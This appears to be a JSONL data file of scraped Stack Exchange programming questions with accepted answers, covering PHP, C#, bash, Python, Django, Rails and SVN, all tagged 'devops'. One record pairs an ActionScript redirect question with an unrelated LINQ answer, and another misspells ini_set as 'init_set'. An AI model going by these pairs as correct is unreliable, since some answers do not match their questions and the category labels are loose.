{"id": "hf_515732f95014", "question": "<p>I have a .asp application where image files (.PDF) are stored in a directory (fed by a copier/scanner). The created file names are stored in a database table.  When a query is launched from  the web page a link to the file is created. When clicked the image should be displayed.\nThis functionality works 100% in Internet Explorer. No such luck in Firefox (and I have some Firefox users). The created hyperlink looks like this <code>file://Server/Scanner/XYZ.pdf</code></p>\n\n<p>The Firefox helps suggest the reason is this:  </p>\n\n<blockquote>\n  <p>Links to local or network pages do not work. As a security precaution, Firefox forbids sites on the Internet to link to files that are stored in your local computing environment. These files may include files on your computer, mapped network drives, and UNC network paths</p>\n</blockquote>\n\n<p>None of the suggestions for a workaround seem to work (or I am not understanding the steps to create the image display) \nAny Suggestions?</p>\n", "question_body": "", "answer": "shouldn't you really store the pages in your application directory and reference them this way.\nhttp://SITENAME/Server/scanner/XYZ.pdf\n.\nWe do something similar with files stored all in one directory and just store the file name. we then create the link using the known folder name and append the file name. this works quite well.\nFinally firefox is a lot more anal about the directions of the slashes in file names as well. Make sure they are all '/' rather than '\\'.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.349774"}
{"id": "hf_fd00f20eaf93", "question": "<p>We have PHP 5.2.6 deployed to c:\\php and in that folder there is the php.ini file. On Windows, can a website override these settings similar to the way that apache has .htaccess? e.g.</p>\n\n<pre><code>DirectoryIndex index.php index.html\n&lt;IfModule mod_php5.c&gt;\nphp_flag magic_quotes_gpc off\n  php_flag register_globals off\n&lt;/IfModule&gt;\n&lt;IfModule mod_php4.c&gt;\n  php_flag magic_quotes_gpc off\n php_flag register_globals off\n&lt;/IfModule&gt;\n</code></pre>\n\n<p><strong><em>Update:</em></strong> </p>\n\n<p>I was aware of ini_set() but wondered if there was a declarative way to do this in a configuration file in the website rather than in script.</p>\n", "question_body": "", "answer": "I would recommend doing all you can to avoid changing r\n```\negister_globals\n```\nto on as it's a major security hole.\nBut you can try using\n```\ninit_set()\n```\nto change the settings within your PHP code, although some settings cannot be changed once PHP has started running. (These are somewhat server dependent I believe.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.373299"}
{"id": "hf_98e2c82d4cc8", "question": "<p>I am writing a diagnostic page for SiteScope and one area we need to test is if the connection to the file/media assets are accesible from the web server.  One way I think I can do this is load the image via code behind and test to see if the IIS status message is 200.  </p>\n\n<p>So basically I should be able to navigate to within the site to a folder like this: /media/1/image.jpg and see if it returns 200...if not throw exception.</p>\n\n<p>I am struggling to figure out how to write this code.</p>\n\n<p>Any help is greatly appreciated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Just use HEAD.  No need to download the entire image if you don't need it.  Here some boilerplate code.\n```\n```\nHttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(\"url\");\nrequest.Method = \"HEAD\";\n\nbool exists;\ntry\n{\n    request.GetResponse();\n    exists = true;\n}\ncatch\n{\n   exists = false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.397297"}
{"id": "hf_2b1c6f4641d4", "question": "<p>From day 1 of my programming career, I started with object-oriented programming. However, I'm interested in learning other paradigms (something which I've said here on SO a number of times is a good thing, but I haven't had the time to do). I think I'm not only ready, but have the time, so I'll be starting functional programming with F#.</p>\n\n<p>However, I'm not sure how to structure much less design applications. I'm used to the one-class-per-file and class-noun/function-verb ideas in OO programming. How do you design and structure functional applications?</p>\n", "question_body": "", "answer": "Given that modern functional languages (i.e. not lisps) by default use early-bound polymorphic functions (efficiently), and that object-orientation is just a particular way of arranging to have polymorphic functions, it's not really very different, if you know how to design properly encapsulated classes.\nLisps use late-binding to achieve a similar effect. To be honest, there's not much difference, except that you don't explictly declare the structure of types.\nIf you've programmed extensively with C++ template functions, then you probably have an idea already.\nIn any case, the answer is small \"classes\" and instead of modifying internal state, you have to return a new version with different state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.433253"}
{"id": "hf_e40135e6db9b", "question": "<p>When calling php via cli, the current directory is NOT changed to the one of the script. All the scripts i have running in crontab run via the CLI, so this is an issue.</p>\n\n<p>I'm currently <em>fixing</em> the problem by doing a chdir() with the absolute path where the script is, but i REALLY dont like hardcoding paths into stuff like that.</p>\n\n<p>I'm looking for the most portable/reliable method for ensuring that the current working directory is the one where the script it is at.</p>\n", "question_body": "", "answer": "You can use\n```\n__FILE__\n```\nto get the full absolute path to the executing file itself:\n```\n```\n<?php\necho \"I'm here: \".__FILE__.\"\\n\";\n?>\n```\n```\nSee\nthe documentation\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.456745"}
{"id": "hf_4b1c0add3bfc", "question": "<p>So what I'm looking for here is something like PHP's <a href=\"http://us2.php.net/print_r\" rel=\"noreferrer\">print_r</a> function.</p>\n\n<p>This is so I can debug my scripts by seeing what's the state of the object in question.</p>\n", "question_body": "", "answer": "You can use the \"dir()\" function to do this.\n```\n```\n>>> import sys\n>>> dir(sys)\n['__displayhook__', '__doc__', '__excepthook__', '__name__', '__stderr__', '__stdin__', '__stdo\nt__', '_current_frames', '_getframe', 'api_version', 'argv', 'builtin_module_names', 'byteorder\n, 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dllhandle', 'exc_clear', 'exc_info'\n 'exc_type', 'excepthook', 'exec_prefix', 'executable', 'exit', 'getcheckinterval', 'getdefault\nncoding', 'getfilesystemencoding', 'getrecursionlimit', 'getrefcount', 'getwindowsversion', 'he\nversion', 'maxint', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_\nache', 'platform', 'prefix', 'ps1', 'ps2', 'setcheckinterval', 'setprofile', 'setrecursionlimit\n, 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoption\n', 'winver']\n>>>\n```\n```\nAnother useful feature is help.\n```\n```\n>>> help(sys)\nHelp on built-in module sys:\n\nNAME\n    sys\n\nFILE\n    (built-in)\n\nMODULE DOCS\n    http://www.python.org/doc/current/lib/module-sys.html\n\nDESCRIPTION\n    This module provides access to some objects used or maintained by the\n    interpreter and to functions that interact strongly with the interpreter.\n\n    Dynamic objects:\n\n    argv -- command line arguments; argv[0] is the script pathname if known\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.493052"}
{"id": "hf_e27d3c238751", "question": "<p>I want to use the DateTime.TryParse method to get the datetime value of a string into a Nullable.  But when I try this:</p>\n\n<pre><code>DateTime? d;\nbool success = DateTime.TryParse(\"some date text\", out (DateTime)d);\n</code></pre>\n\n<p>the compiler tells me </p>\n\n<blockquote>\n  <p>'out' argument is not classified as a variable</p>\n</blockquote>\n\n<p>Not sure what I need to do here.  I've also tried: </p>\n\n<pre><code>out (DateTime)d.Value \n</code></pre>\n\n<p>and that doesn't work either.  Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nDateTime? d=null;\nDateTime d2;\nbool success = DateTime.TryParse(\"some date text\", out d2);\nif (success) d=d2;\n```\n```\n(There might be more elegant solutions, but why don't you simply do something as above?)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.539635"}
{"id": "hf_287db0e7ae4d", "question": "<p>I need specifically to load a JPG image that was saved as a blob. GDI+ makes it very easy to retrieve images from files but not from databases...</p>\n", "question_body": "", "answer": "First fetch your blog into a byte array then use something like this:\n```\n```\npublic static Image CreateImage(byte[] pict)\n{\n   System.Drawing.Image img = null;\n   using (System.IO.MemoryStream stream = new System.IO.MemoryStream(pict)) {\n    img = System.Drawing.Image.FromStream(stream);\n   }\n   return img;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.574649"}
{"id": "hf_308ee70f9d4a", "question": "<p>I am working on an Actionscript 2 project - trying to use the XML object to find a url which is returned as a 302 redirect.  Is there a way to do this in actionscript 2?</p>\n\n<p>code:</p>\n\n<pre><code>var urlone:XML = new XML();\nurlone.load(\"http://mydomain.com/file.py\");\nurlone.onLoad = function (success) {\n    trace(\"I want to print the 302 redirect url here, how do I access it?\");\n};\n</code></pre>\n", "question_body": "", "answer": "You can use SqlMethods.Like\ne.g.\n```\n```\nWhere SqlMethods.Like(t.country, \"%Sweden%\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.610393"}
{"id": "hf_c69c366b6629", "question": "<p>I have to check some code and run it. I have the URL:</p>\n\n<pre><code>svn+ssh://myuser@www.myclient.com/home/svn/project/trunk\n</code></pre>\n\n<p>I have a file with their private key. What do I do to get this code?</p>\n", "question_body": "", "answer": "Add the private key to your\n```\n~/.ssh/\n```\nfolder and then run\n```\nssh-agent $SHELL; ssh-add;\n```\n, and then the\n```\nsvn co\n```\nof that URL should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.633830"}
{"id": "hf_a692c2c19613", "question": "<p>I would like to access the Rails session secret programmatically (I am using it to generate a sign-on token).</p>\n\n<p>Here's what I've come up with:</p>\n\n<pre><code>ActionController::Base.session.first[:secret]\n</code></pre>\n\n<p>This returns the session secret. However, every time you call ActionController::Base.session it adds another entry to an array so you end up with something like this:</p>\n\n<pre><code>[{:session_key=&gt;\"_new_app_session\", :secret=&gt;\"totally-secret-you-guys\"}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}]\n</code></pre>\n\n<p>This strikes me as being no good.</p>\n\n<p>Is there a better way to access the session secret?</p>\n", "question_body": "", "answer": "```\n```\nActionController::Base.session_options_for(request,params[:action])[:secret]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.674930"}
{"id": "hf_e6ed5ff310f1", "question": "<p>I have to do a cross site POST (with a redirection, so not using a XMLHTTPRequest), and the base platform is ASP.NET. I don't want to POST all of the controls in the ASP.NET FORM to this other site, so I was considering dynamicly creating a new form element using javascript and just posting that.</p>\n\n<p>Has anyone tried this trick? Is there any caveats?</p>\n", "question_body": "", "answer": "I do this all the time.  Works really well.  You will have to look through the Request's parameters manually, though, unless you get creative with what you pass as the parameters won't map onto controls on that page.  You could also do this in a REST way by passing the parameters in the query string, but I prefer the forms approach to keep my URLs clean.  Note that ASP.NET ignores all forms but it's own on postback so I don't bother removing them.\nExample from a GridView template field for below code:\n```\n```\n<asp:TemplateField HeaderText=\"Station\" SortExpression=\"Name\">\n   <ItemTemplate>\n      <a href=\"javascript:void(0);\" onclick='Redirector.redirect_with_id(\"StationDetail.aspx\", <%# Eval(\"StationID\") != null ? Eval(\"StationID\") : \"-1\" %>);return false;'>\n      <asp:Label ID=\"nameLabel\" runat=\"server\" Text='<%# Bind(\"Name\") %>' /></a>\n   </ItemTemplate>\n   </asp:TemplateField>\n```\n```\nCode below -- requires Prototype:\n```\n```\n// JScript File\n\n   var Redirector = Class.create();\n\n   Redirector.prototype = {\n       initialize: function(url,target) {\n           this.url = url;\n           this.parameters = new Hash();\n           this.target = target;\n       }, \n\n    addParameter: function(id,value) {\n        this.parameters.set(id, value);\n    },\n\n    redirect: function() {\n        var form = document.createElement('form');\n        document.body.appendChild(form);\n        form.action = this.url;\n        form.method = \"post\";\n        if (this.target) {\n            form.target = this.target;\n        }\n        this.parameters.each( function(pair) {\n            var input = document.createElement('input');\n            input.id = pair.key;\n            input.name = pair.key;\n            input.value = pair.value;\n            input.style.display = 'none';\n            form.appendChild(input);\n        });\n        form.submit();\n    }\n};\n\nRedirector.redirect_with_id = function(url,id,target) {\n    var redirector = new Redirector( url, target );\n    redirector.addParameter( 'ID', id );\n    redirector.redirect();\n};\n\nRedirector.redirect_with_tag = function(url,tag_name,tag,target) {\n    var redirector = new Redirector( url, target );\n    redirector.addParameter( tag_name, tag );\n    redirector.redirect();\n};\n\nRedirector.redirect_with_tags = function(url,tag_names_comma_separated,tag_values_comma_separated,target) {\n    var redirector = new Redirector( url, target );\n    var tags = tag_names_comma_separated.split( \",\" );\n    var values = tag_values_comma_separated.split( \",\");\n    for( var i = 0; i< tags.length; i++ )\n    {\n        redirector.addParameter( tags[i], values[i] );\n    }\n    redirector.redirect();\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.710309"}
{"id": "hf_9f4b58efcb03", "question": "<p>How do I do this</p>\n\n<pre><code>Select top 10 Foo from MyTable\n</code></pre>\n\n<p>in Linq to SQL?</p>\n", "question_body": "", "answer": "In VB:\n```\n```\nfrom m in MyTable\ntake 10\nselect m.Foo\n```\n```\nThis assumes that MyTable implements IQueryable.  You may have to access that through a DataContext or some other provider.\nIt also assumes that Foo is a column in MyTable that gets mapped to a property name.\nSee\nhttp://blogs.msdn.com/vbteam/archive/2008/01/08/converting-sql-to-linq-part-7-union-top-subqueries-bill-horst.aspx\nfor more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.734514"}
{"id": "hf_0019b01830d1", "question": "<p>This is the SQL that I want to accomplish:</p>\n\n<pre><code>WHERE domain_nm + '\\' + group_nm in ('DOMAINNAME\\USERNAME1','DOMAINNAME2\\USERNAME2') \n</code></pre>\n\n<p>I can't for the life of me find an appropriate Expression for this. And I don't think I can use two expressions as the domain name and the group name need to be concatenated.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Can you not use two Expressions?\n```\n```\ncriteria\n  .Add(Expression.In(\"DomainName\", new string[] { \"DOMAINNAME\", \"DOMAINNAME2\" }))\n  .Add(Expression.In(\"GroupName\", new string[] { \"USERNAME1\", \"USERNAME2\" })\n```\n```\nThe other option is to use Expression.Sql.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.769882"}
{"id": "hf_cc51bc6d332e", "question": "<p>I'm not much of a coder, but I need to write a simple <em>preg_replace</em> statement in PHP that will help me with a WordPress plugin.  Basically, I need some code that will search for a string, pull out the video ID, and return the embed code with the video id inserted into it.  </p>\n\n<p>In other words, I'm searching for this:  </p>\n\n<pre><code>[youtube=http://www.youtube.com/watch?v=VIDEO_ID_HERE&amp;hl=en&amp;fs=1]\n</code></pre>\n\n<p>And want to replace it with this (keeping the video id the same):  </p>\n\n<pre><code>param name=\"movie\" value=\"http://www.youtube.com/v/VIDEO_ID_HERE&amp;hl=en&amp;fs=1&amp;rel=0\n</code></pre>\n\n<p>If possible, I'd be forever grateful if you could explain how you've used the various slashes, carets, and Kleene stars in the search pattern, i.e. translate it from grep to English so I can learn. :-)</p>\n\n<p>Thanks!<br>\nMike</p>\n", "question_body": "", "answer": "```\n```\n$str = preg_replace('/\\[youtube=.*?v=([a-z0-9_-]+?)&.*?\\]/i', 'param name=\"movie\" value=\"http://www.youtube.com/v/$1&hl=en&fs=1&rel=0', $str);\n\n         /     - Start of RE\n         \\[    - A literal [  ([ is a special character so it needs escaping)\n         youtube= - Make sure we've got the right tag\n         .*?   - Any old rubbish, but don't be greedy; stop when we reach...\n         v=    - ...this text\n         ([a-z0-9_-]+?) - Take some more text (just z-a 0-9 _ and -), and don't be greedy.  Capture it using ().  This will get put in $1\n         &.*?\\] - the junk up to the ending ]\n         /i - end the RE and make it case-insensitive for the hell of it\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.804532"}
{"id": "hf_2957339659b5", "question": "<p>Say, I have a script that gets called with this line:</p>\n<pre><code>./myscript -vfd ./foo/bar/someFile -o /fizz/someOtherFile\n</code></pre>\n<p>or this one:</p>\n<pre><code>./myscript -v -f -d -o /fizz/someOtherFile ./foo/bar/someFile \n</code></pre>\n<p>What's the accepted way of parsing this such that in each case (or some combination of the two) <code>$v</code>, <code>$f</code>, and  <code>$d</code> will all be set to <code>true</code> and <code>$outFile</code> will be equal to <code>/fizz/someOtherFile</code>?</p>\n", "question_body": "", "answer": "```\ngetopt()\n```\n/\n```\ngetopts()\n```\nis a good option.  Copied from\nhere\n:\nThe simple use of \"getopt\" is shown in this mini-script:\n```\n```\n#!/bin/bash\necho \"Before getopt\"\nfor i\ndo\n  echo $i\ndone\nargs=`getopt abc:d $*`\nset -- $args\necho \"After getopt\"\nfor i\ndo\n  echo \"-->$i\"\ndone\n```\n```\nWhat we have said is that any of -a,\n-b, -c or -d will be allowed, but that -c is followed by an argument (the \"c:\" says that).\nIf we call this \"g\" and try it out:\n```\n```\nbash-2.05a$ ./g -abc foo\nBefore getopt\n-abc\nfoo\nAfter getopt\n-->-a\n-->-b\n-->-c\n-->foo\n-->--\n```\n```\nWe start with two arguments, and\n\"getopt\" breaks apart the options and\nputs each in its own argument. It also\nadded \"--\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.850922"}
{"id": "hf_52bbae4036bd", "question": "<p>Using something like this:</p>\n\n<pre><code>try:\n   # Something...\nexcept Exception as excep:\n   logger = logging.getLogger(\"component\")\n   logger.warning(\"something raised an exception: \" + excep)\n   logger.info(\"something raised an exception: \" + excep)\n</code></pre>\n\n<p>I would rather not have it on the error-level cause in my special case it is not an error.</p>\n", "question_body": "", "answer": "From the\nlogging documentation\n:\nThere are three keyword arguments in\n```\nkwargs\n```\nwhich are inspected:\n```\nexc_info\n```\n,\n```\nstack_info\n```\n, and\n```\nextra\n```\n.\nIf\n```\nexc_info\n```\ndoes not evaluate as false, it causes exception information to be added to the logging message. If an exception tuple (in the format returned by\n```\nsys.exc_info()\n```\n) or an exception instance is provided, it is used; otherwise,\n```\nsys.exc_info()\n```\nis called to get the exception information.\nSo do:\n```\n```\nlogger.warning(\"something raised an exception:\", exc_info=True)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.899382"}
{"id": "hf_113ac2d0a88a", "question": "<p>The way you would normally include a script is with \"source\"</p>\n\n<p>eg:</p>\n\n<p>main.sh:</p>\n\n<pre><code>#!/bin/bash\n\nsource incl.sh\n\necho \"The main script\"\n</code></pre>\n\n<p>incl.sh:</p>\n\n<pre><code>echo \"The included script\"\n</code></pre>\n\n<p>The output of executing \"./main.sh\" is:</p>\n\n<pre><code>The included script\nThe main script\n</code></pre>\n\n<p>... Now, if you attempt to execute that shell script from another location, it can't find the include unless it's in your path.</p>\n\n<p>What's a good way to ensure that your script can find the include script, especially if for instance, the script needs to be portable?</p>\n", "question_body": "", "answer": "I tend to make my scripts all be relative to one another. \nThat way I can use dirname:\n```\n```\n#!/bin/sh\n\nmy_dir=\"$(dirname \"$0\")\"\n\n\"$my_dir/other_script.sh\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.950840"}
{"id": "hf_64a74cc7403e", "question": "<p>I have the following two models:</p>\n\n<pre><code>class Activity(models.Model):\n    name = models.CharField(max_length=50, help_text='Some help.')\n    entity = models.ForeignKey(CancellationEntity)\n    ...\n\n\nclass Cancellation(models.Model):\n    activity = models.ForeignKey(Activity)\n    date = models.DateField(default=datetime.now().date())\n    description = models.CharField(max_length=250)\n    ...\n</code></pre>\n\n<p>I would like the Activity model to be aware when a Cancellation related to it is saved (both inserted or updated).</p>\n\n<p>What is the best way to go about this?</p>\n", "question_body": "", "answer": "What you want to look into is\nDjango's signals\n(check out\nthis page\ntoo), specifically the model signals--more specifically, the\npost_save\nsignal. Signals are Django's version of a plugin/hook system. The post_save signal gets sent every time a model is saved, whether it's updated or created (and it'll let you know if it was created). This is how you'd use signals to get notified when an Activity has a Cancellation\n```\n```\nfrom django.db.models.signals import post_save\n\nclass Activity(models.Model):\n    name = models.CharField(max_length=50, help_text='Some help.')\n    entity = models.ForeignKey(CancellationEntity)\n\n    @classmethod\n    def cancellation_occurred (sender, instance, created, raw):\n        # grab the current instance of Activity\n        self = instance.activity_set.all()[0]\n        # do something\n    ...\n\nclass Cancellation(models.Model):\n    activity = models.ForeignKey(Activity)\n    date = models.DateField(default=datetime.now().date())\n    description = models.CharField(max_length=250)\n    ...\n\npost_save.connect(Activity.cancellation_occurred, sender=Cancellation)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.057254"}
{"id": "hf_54a9b2499e8c", "question": "<p>Is it possible to programmatically force a full garbage collection run in ActionScript 3.0?</p>\n\n<p>Let's say I've created a bunch of Display objects with eventListeners and some of the DO's have been removed, some of the eventListeners have been triggered and removed etc... Is there a way to force garbage collection to run and collect everything that is available to be collected?</p>\n", "question_body": "", "answer": "Yes, it's possible, but it is generally a bad idea. The GC should have a better idea of when is a good time to run than you should, and except for a very specific case, like you just used 500MB of memory and you need to get it back ASAP, you shouldn't call the GC yourself.\nIn Flash 10, there is a\n```\nSystem.gc()\n```\nmethod you can call (but please don't, see above) - keep in mind System.gc() only works in the debugging version of Flash player 10+.\nIn Flash 9, there is an unsupported way to force it via an odd LocalConnection command, but it may not work in all versions. See\nthis post\nby Grant Skinner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.081512"}
{"id": "hf_1ae7f6d0f746", "question": "<p>When using <code>before_filter :login_required</code> to protect a particular page, the <code>link_to_unless_current</code> method in the application layout template renders the \"Login\" link for the login page as a hyperlink instead of just text.</p>\n\n<p>The \"Login\" text/link problem only occurs when redirected to the Login Page via the <code>before_filter</code> machinery, otherwise, the <code>link_to_unless_current</code> method operates as expected.</p>\n\n<p>It seems that <code>link_to_unless_current</code> is using the old page data as the \"current\" instead of the login page (when redirecting).</p>\n", "question_body": "", "answer": "Appreciate the responses and you can tell by the nature of the question that we're new to rails. By the way, we posted the same question on this site:\nhttp://railsforum.com\n(not sure if it's the official rails forum) with no response yet. StackOverflow so far seems to be creating a great community of helpers willing to reach out to the programmatically challenged.\nI think part of the problem is that we were mixing restful urls with standard routes. The login page is mapped to the restful route \"/login\" but the page redirection was using \"/sessions/new\" (Rick Olson's restful authentication module)\nIn application.rb, we forced the filter to \"/login\" and that solved the problem:\n```\nbefore_filter :login_required\n\nprotected\n\ndef login_required\n  return true if logged_in?\n  session[:return_to] = request.request_uri\n  flash[:error] = \"Please log in first\"\n  redirect_to \"/login\" and return false\nend\n```\nComments on the technical merits of this approach appreciated as it may be helpful to other newbs.\nThanks,\nJoe", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.105452"}
{"id": "hf_127005a4a9d9", "question": "<p>I have a RichTextBox where I need to update the Text property frequently, but when I do so the RichTextBox \"blinks\" annoyingly as it refreshes all throughout a method call.</p>\n\n<p>I was hoping to find an easy way to temporarily suppress the screen refresh until my method is done, but the only thing I've found on the web is to override the WndProc method.  I've employed this approach, but with some difficulty and side effects, and it makes debugging harder, too.  It just seems like there's got to be a better way of doing this.  Can someone point me to a better solution?</p>\n", "question_body": "", "answer": "Try this out:\n```\n```\nmyRichTextBox.SuspendLayout();\nDoStuff();\nmyRichTextBox.ResumeLayout();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.145445"}
{"id": "hf_d65c7c65edda", "question": "<p>Personally, I find the range of functionality provided by java.util.Iterator to be fairly pathetic. At a minimum, I'd like to have methods such as:</p>\n\n<ul>\n<li>peek() returns next element without moving the iterator forward</li>\n<li>previous() returns the previous element</li>\n</ul>\n\n<p>Though there are lots of other possibilities such as first() and last().</p>\n\n<p>Does anyone know if such a 3rd party iterator exists? It would probably need to be implemented as a decorator of java.util.Iterator so that it can work with the existing java collections. Ideally, it should be \"generics aware\".</p>\n\n<p>Thanks in advance,\nDon</p>\n", "question_body": "", "answer": "You can get\n```\nprevious()\n```\neasily by just using a\n```\njava.util.ListIterator\n```\n.\nPeek at that point is easily implemented by doing a\n```\n```\npublic <T> T peek(ListIterator<T> iter) throws NoSuchElementException {\n    T obj = iter.next();\n    iter.previous();\n    return obj;\n}\n```\n```\nUnfortunately it will be easier to have it as a utility method since each collection class implements their own iterators. To do a wrapper to get a peek method on each collection on some interface such as\n```\nMyListIterator\n```\nwould be quite a lot of work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.169843"}
{"id": "hf_236f1b9254d7", "question": "<p>I have TortoiseSVN set up to use KDiff3 as the conflict resolution tool (I find it shows more information useful to the merge than the built-in TortoiseMerge does).</p>\n\n<p>When I open a file with Tortoise's \"Edit Conflicts\" command it shows me the three files and I have to select \"Merge->Merge Current File\" manually. The problem is that KDiff3 saves the result to <code>source_file.working</code> instead of to <code>source_file</code>. So without doing a Save As, the real file with the conflict doesn't get modified. Is there a way around doing this manual Save As every time?</p>\n\n<p>I know this isn't strictly a programming question but it's about an ancillary process common enough to programmers that it should be useful here. I couldn't find the answer to this elsewhere.</p>\n", "question_body": "", "answer": "Turns out I just needed a more specific command line. I had it set simply to the path to\n```\nkdiff3.exe\n```\n, and hoped the default arguments passed from TortoiseSVN would be enough. Not so. Here's the one needed (the key being the\n```\n-o\n```\nargument):\n```\n```\nC:\\Program Files\\KDiff3\\kdiff3.exe %base %theirs %mine -o %merged\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.206108"}
